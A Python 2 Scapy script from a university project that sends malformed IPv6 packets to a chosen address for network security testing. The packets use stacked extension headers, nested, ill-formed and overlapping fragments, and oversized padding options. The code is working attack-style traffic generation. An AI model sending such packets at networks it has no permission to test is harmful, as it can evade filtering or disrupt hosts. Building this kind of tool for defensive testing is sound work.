#!/usr/bin/env python
#Python script to make generate malicious IPv6 packets to test your
#network against potential threats
#TEAM:
#Jay Rao
#Prateek Mali
#Rohan Phadke
#Ronak Sanghvi
#Advisor: Joe Mcmanus
#version 1.0.1 2015.03.11
#Copyright (C) 2015 Jay Rao | jay.rao@colorado.edu
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program.  If not, see <http://www.gnu.org/licenses/>.


import ipv6_check as ic
import os
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

def print_menu():
    '''prints menu for user to select an option
    '''
    print "\nMain Menu:"
    print "\t1 to send more than one occurrences of various extension headers in atomic fragments"
    print "\t2 to send several types of Extension headers multiple times"
    print "\t3 to send nested fragments"
    print "\t4 to send ill-formed fragments (higher layer protocol header in non-first fragment)"
    print "\t5 to send overlapping fragments"
    print "\t6 to send arbitrary data over IP layer"
    print "\tAny other number else to exit"


def eh_atomic_fragments(sip, dip, count, mode):

    length = 4
    no_of_headers = 7
    payload1 = 'First try!!!'
    myid = 7

    #length = int(raw_input("Enter length of the packet= "))
    #no_of_headers = int(raw_input("Enter number of headers= "))
    #payload1 = raw_input("Enter the payload= ")
    #myid = int(raw_input("Enter id for the packet= "))

    ipv6_1 = IPv6(src = sip, dst = dip, plen = 8 * (length + no_of_headers))
    icmpv6 = ICMPv6EchoRequest(data = payload1)
    frag = IPv6ExtHdrFragment(offset = 0, m = 0, id = myid, nh = 44)
    frag_last = IPv6ExtHdrFragment(offset = 0, m = 0, id = myid, nh = 58)
    packet = ipv6_1
    for i in range(1, no_of_headers):
        packet = packet/frag
    packet = packet/frag_last/icmpv6

    #send(packet, count = count, verbose=False)

    if count <= 10:
        send(packet, count = count)
    else:
        for i in range(0, count):
            send(packet, verbose = False)
            if i % (count/10) == 0 and i != 0:
                print "Sent " + str(i)+ " packets."
        print "Sent " + str(count)+ " packets."
    if mode == 'CLI':
        pass
    else:
        print_packet(packet)


def eh_mixed_multiple_type(sip, dip, count, mode):
    payload1 = 'First try!!!'
    icmpv6 = ICMPv6EchoRequest(data = payload1)

    packet = IPv6(src = sip, dst = dip) \
        /IPv6ExtHdrDestOpt() \
        /IPv6ExtHdrDestOpt() \
        /IPv6ExtHdrDestOpt() \
        /IPv6ExtHdrFragment (offset = 0, m = 0) \
        /IPv6ExtHdrFragment(offset = 0, m = 0) \
        /IPv6ExtHdrDestOpt() \
        /IPv6ExtHdrFragment(offset = 0, m = 0) \
        /icmpv6

    #send(packet, count = count, verbose=False)
    if count <= 10:
        send(packet, count = count)
    else:
        for i in range(0, count):
            send(packet, verbose = False)
            if i % (count/10) == 0 and i != 0:
                print "Sent " + str(i)+ " packets."
        print "Sent " + str(count)+ " packets."
    if mode == 'CLI':
        pass
    else:
        print_packet(packet)


def eh_nested_fragments(sip, dip, count, mode):
    length = 4
    no_of_fragments = 7
    payload1 = 'First try!!!'
    myid = 7
    myid2 = 8

    icmpv6 = ICMPv6EchoRequest(data = payload1)
    ipv6_1 = IPv6(src = sip, dst = dip, plen = 8 * 2)
    frag2 = IPv6ExtHdrFragment(offset = 0, m = 0, id = myid2, nh = 44)
    for i in range (0, count):
        if count <= 10:
            v = True
        else:
            v = False

        for j in range(0, no_of_fragments):
            frag1 = IPv6ExtHdrFragment(offset = j, m = 1, id = myid, nh = 44)
            packet = ipv6_1/frag1/frag2
            #packet.show()
            send(packet, verbose = False)

        frag1 = IPv6ExtHdrFragment(offset = no_of_fragments, m = 1, id = myid, nh = 44)
        frag2 = IPv6ExtHdrFragment(offset = 0, m = 0, id = myid2, nh = 58)
        packet = ipv6_1/frag1/frag2/icmpv6
        #packet.show()
        send(packet, verbose = False)

        ipv6_1 = IPv6(src = sip, dst = dip, plen = 8 * (length + 1))
        frag1 = IPv6ExtHdrFragment(offset = no_of_fragments + 1, m = 0, id = myid, nh = 44)
        packet = ipv6_1/frag1/ICMPv6EchoRequest()
        #packet.show()
        send(packet, verbose = v)
        #print "Packet " + str(i+1) + " sent!"

        if count > 10:
            if i % (count/10) == 0 and i != 0:
                print "Sent " + str(i)+ " packets."
    if count > 10:
        print "Sent " + str(count)+ " packets."


def eh_illformed_fragments(sip, dip, count, mode):
    payload1 = 'First try!!!'

    packet1 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 0, m = 1) \
    /IPv6ExtHdrDestOpt(nh = 60)

    packet2 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 1, m = 1) \
    /IPv6ExtHdrDestOpt(nh = 58)

    packet3 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 2, m = 0, nh = 58) \
    /ICMPv6EchoRequest(data = payload1)

    for i in range (0, count):
        if count <= 10:
            v = True
        else:
            v = False

        send(packet1, verbose = False)
        send(packet2, verbose = False)
        send(packet3, verbose = v)
        #print "Packet " + str(i+1) + " sent!"

        if count > 10:
            if i % (count/10) == 0 and i != 0:
                print "Sent " + str(i)+ " packets."
    if count > 10:
        print "Sent " + str(count)+ " packets."
    #print_packet(packet)

    '''
    packet1 = IPv6(src=sip, dst=dip) \
    /IPv6ExtHdrFragment(offset=0, m=1) \
    /IPv6ExtHdrDestOpt(nh=60) \
    /IPv6ExtHdrDestOpt(nh=60) \
    /IPv6ExtHdrDestOpt(nh=60) \
    /IPv6ExtHdrDestOpt(nh=60) \
    /IPv6ExtHdrDestOpt(nh=58)
    packet2 = IPv6(src=sip, dst=dip) \
    /IPv6ExtHdrFragment(offset=5, m=0, nh=58) \
    /ICMPv6EchoRequest(cksum=csum, data=payload1)
    send(packet1)
    send(packet2)
    '''


def eh_overlapping_fragments(sip, dip, count, mode):
    payload1 = 'First try!!!'

    packet1 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 0, m = 1) \
    /IPv6ExtHdrDestOpt(nh = 58)

    packet2 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 1, m = 1, nh = 58) \
    /IPv6ExtHdrDestOpt(nh = 58)

    packet3 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 1, m = 0, nh = 58) \
    /ICMPv6EchoRequest(data = payload1)

    for i in range (0, count):
        if count <= 10:
            v = True
        else:
            v = False

        send(packet1, verbose = False)
        send(packet2, verbose = False)
        send(packet3, verbose = v)
        #print "Packet " + str(i+1) + " sent!"

        if count > 10:
            if i % (count/10) == 0 and i != 0:
                print "Sent " + str(i)+ " packets."
    if count > 10:
        print "Sent " + str(count)+ " packets."
    #print_packet(packet)


def arbitrary_data_over_IP(sip, dip, count, mode):
    packet1 = IPv6(src = sip,dst = dip) \
    /IPv6ExtHdrFragment(offset = 0, m = 1) \
    /IPv6ExtHdrDestOpt(nh = 60, options = PadN(optdata = '\101' * 120)/PadN(optdata = '\102' * 150))

    packet2 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 35, m = 1, nh = 60) \
    /IPv6ExtHdrDestOpt(nh = 60,options = PadN(optdata = '\101' * 120)/PadN(optdata = '\102' * 150))

    packet3 = IPv6(src = sip, dst = dip) \
    /IPv6ExtHdrFragment(offset = 70, m = 0, nh = 60) \
    /IPv6ExtHdrDestOpt(nh = 58,options = PadN(optdata = '\101' * 120)/PadN(optdata = '\102' * 150)) \
    /ICMPv6EchoRequest()

    '''for i in range (0, count):
        if count <= 10:
            v = True
        else:
            v = False

        send(packet1, verbose = False)
        send(packet2, verbose = False)
        send(packet3, verbose = v)
        #print "Packet " + str(i+1) + " sent!"
    '''
    if count <= 10:
        v = True
    else:
        v = False

    send(packet1, count = count, verbose = v)


    if count > 10:
        if i % (count/10) == 0 and i != 0:
            print "Sent " + str(i)+ " packets."
    if count > 10:
        print "Sent " + str(count)+ " packets."
    if mode == 'CLI':
        pass
    else:
        print_packet(packet1)


def commandLineOptions():
    #os.system('clear')
    if len(sys.argv) == 2:
        if 'help' in sys.argv[1]:
            printUsage('help')
            sys.exit()

    if len(sys.argv) < 5:
        printUsage("Must supply all arguments")
        main()
    if "sip" in sys.argv[1]:
        n1, sip = sys.argv[1].split('=')
        #print sip
    if "dip" in sys.argv[2]:
        n1, dip = sys.argv[2].split('=')
        #print dip
    if ic.check_ipv6(sip) and ic.check_ipv6(dip):
        pass
        #print "Proper IP addresses"
    else:
        printUsage("Wrong value for IPv6 address/es")
        sys.exit()
    count = sys.argv[3]
    packet = sys.argv[4]
    #print "Number of packets to transmit:", count
    return sip, dip, count, packet


def printUsage(error):
        print("pgs.py: Command Line EXIF reader \n"
        + "1.0.1 Jay Rao | jay.rao@colorado.edu \n"
        + "Usage: pgs.py (sourceIP | destIP | numberOfPackets | typeOfPacket) \n"
        + " -- options: \n"
        + "     sip            provide source IP address \n"
        + "     dip            provide destination IP address \n"
        + "     noOfPackets    number of packets \n"
        + "     typeOfPacket   type of packet \n"
        + "     help           displays this message \n")

        print "\'Type of packet\' refers to these options:"

        print "1 to send more than one occurrences of various extension headers in atomic fragments"
        print "2 to send several types of Extension headers multiple times"
        print "3 to send nested fragments"
        print "4 to send ill-formed fragments (higher layer protocol header in non-first fragment)"
        print "5 to send overlapping fragments"
        print "6 to send arbitrary data over IP layer"

        print "\nExample: python /[location of script]/pgs.py sip=2003::2 dip=2003::1 100 1"

        if error != None:
                print("\nERROR: " + error )
        return
        #sys.exit()

def print_packet(packet):
    input = raw_input("Do you want to see the packet you sent? [Y/N] [N]: ")
    if input == 'Y' or input == 'y':
        packet.show()
    return

def main(sip = '0', dip = '0', count = '0', packet = '0'):
    try:
        #os.system('clear')
        mode = 'IA'
        while True:

            if packet == '0':
                print_menu()
                user_input = raw_input("\nEnter your selection= ")
            else:
                user_input = packet
                mode = 'CLI'

            try:
                if int(user_input) > 7 or user_input == '0':
                    print "Wrong Input. Use 'help' keyword or try to run in interactive mode"
                else:
                    if count == '0':
                        count = raw_input("Enter number of packets you want to send= ")
                        if count == '' or count == None:
                            raise ValueError
            except:
                print ("Wrong input")
                sys.exit()


            if user_input == '1':
                f = eh_atomic_fragments
            elif user_input == '2':
                f = eh_mixed_multiple_type
            elif user_input == '3':
                f = eh_nested_fragments
            elif user_input == '4':
                f = eh_illformed_fragments
            elif user_input == '5':
                f = eh_overlapping_fragments
            elif user_input == '6':
                f = arbitrary_data_over_IP
            else:
                print "Exiting!!!"
                sys.exit()


            if sip == '0':
                sip = raw_input("Enter Source IPv6= ")
                if not ic.check_ipv6(sip):
                    print("Wrong source IPv6 address")
                    sys.exit()

            if dip == '0':
                dip = raw_input("Enter Destination IPv6= ")
                if not ic.check_ipv6(dip):
                    print("Wrong destination IPv6 address")
                    sys.exit()

            f(sip, dip, int(count), mode)

            if mode == 'CLI':
                sys.exit()

            decision = raw_input("Do you want to send more packets? [Y/N] [Y]: ")
            if decision == 'N' or decision == 'n':
                sys.exit()

            mc = raw_input("Do you want to send same number of packets? Current is ("+count+") [Y/N] [N]: ")
            mp = raw_input("Do you want to send from "+ sip + " to "+ dip +" ? [Y/N] [N]: ")

            if mc == 'Y' or mc == 'y':
                pass
            else:
                count = '0'


            if mp == 'Y' or mp == 'y':
                pass
            else:
                sip = '0'
                dip = '0'
    except KeyboardInterrupt:
        print "\nKeyboard Interrupt! Exiting."
        sys.exit()

sip, dip, count, packet = commandLineOptions()

if __name__ == '__main__':
    main(sip, dip, count, packet)
